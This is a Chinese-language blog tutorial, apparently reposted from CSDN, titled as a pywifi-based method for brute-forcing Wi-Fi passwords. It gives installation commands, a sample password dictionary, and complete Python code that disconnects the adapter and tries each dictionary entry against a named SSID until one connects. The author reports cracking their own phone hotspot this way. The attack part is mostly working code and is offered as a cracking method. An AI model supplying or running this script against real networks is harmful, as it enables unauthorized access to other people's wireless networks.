ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

基于pywifi库的暴力破解wifi方法

2022-02-08 23:01:02  阅读:247  来源: 互联网

标签:profile wifipwd 暴力破解 ifaces wifi pywifi 密码


简介

        破解Wifi密码,对于一个入门程序员来说应该是非常好奇的事情。这个话题从很早以前就有了。很早以前就涌现了一些破解wifi的软件平台,例如:奶瓶beini、BT2/BT3/BT4之类的。不过他们都是liunx环境的东西。需要自己搭个虚拟机或者拿个机子去安装ios镜像系统。就很麻烦。

        时隔n年,昨晚睡觉的时候偶然想起这“未完成的心愿”,于是乎今天就又开始看看:windows下现在有没有啥新科技呢?

        一番探索,真有!


环境准备

安装pywifi库

pip install pywifi

pip install comtypes


前期准备

        破解wifi的原理实际上也就是暴力破解。就是遍历各种wifi密码可能的组合,不断的尝试。

        因此,我们需要一个 密码字典。这个百度有很多,我这里做测试,所以我自己随便写了一个txt文件,作为密码字典。wifipwd.txt 内如如下:

nihaonihao
132312312
3242342534
53536346534
2423423423
2445356356
234232342
234234234
234453456
12345678
11111111
123123234

代码实现

import pywifi
from pywifi import const
import time

# 名称 Wifi密码
def wificonnect(wifiname,wifipwd):
    '''WIFI的测试连接'''
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    #断开WiFi连接
    ifaces.disconnect()
    time.sleep(0.5)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        # 创建WIFI文件
        profile = pywifi.Profile()
        # wifi名称
        profile.ssid = wifiname
        # 密码
        profile.key = wifipwd
        # WiFi的加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 网卡的开放
        profile.auth = const.AUTH_ALG_OPEN
        # 加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 删除所有的WIFI文件
        ifaces.remove_all_network_profiles()
        # 设定新的链接文件
        temp_profile = ifaces.add_network_profile(profile)
        # 连接wifi
        ifaces.connect(temp_profile)
        time.sleep(1)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False

# 读取密码本
def read_pwd():
    '''读取密码本'''
    print('开始破解:')
    path = r'wifipwd.txt'    # 密码字典路径
    file = open(path, 'r')
    
    # 开始遍历密码本
    while True:
        try:
            wifipwd = file.readline()
            if wifipwd:
                wifipwd = wifipwd[:-1]  # 删掉最后的换行符
                b = wificonnect('Invalidnode', wifipwd) #第一个参数即为wifi名称
                if b:
                    print('密码正确'+wifipwd)
                    break   # 退出一层循环
                else:
                    print('密码错误'+wifipwd)
            else:
                break
        except:
            continue
    file.close()

read_pwd()

测试结果

成功发现我的手机热点密码为 12345678


简评

        所以说,这还是个耗时的破解过程。有个好密码字典非常重要,主要是运气得好。

标签:profile,wifipwd,暴力破解,ifaces,wifi,pywifi,密码
来源: https://blog.csdn.net/qq_25662827/article/details/122832594

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有